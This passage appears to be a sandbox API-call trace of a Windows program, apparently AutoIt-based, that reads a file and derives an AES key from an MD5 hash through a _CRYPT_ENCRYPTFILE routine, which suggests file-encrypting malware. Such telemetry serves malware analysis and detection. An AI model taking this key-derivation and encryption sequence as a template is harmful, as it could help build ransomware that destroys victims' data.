CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.121] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.122] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.122] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0030.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0030.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12752) returned 1 [0030.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.122] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0030.123] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0030.123] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x31d0, lpOverlapped=0x0) returned 1 [0030.123] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0030.123] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x31d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.123] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12752) returned 1 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.123] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0030.123] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.123] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.123] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0030.123] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.123] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0030.123] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0030.123] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0030.124] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0030.124] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.124] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.124] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.124] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0030.124] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0030.125] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.125] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.125] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.126] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.126] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.126] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.126] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.126] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.126] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.126] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.127] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.127] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b240, dwDataLen=0x20, dwFlags=0x1) returned 1 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.127] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0030.127] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.127] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0030.127] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0030.127] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0030.127] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0030.128] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.128] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0030.130] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0030.130] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, 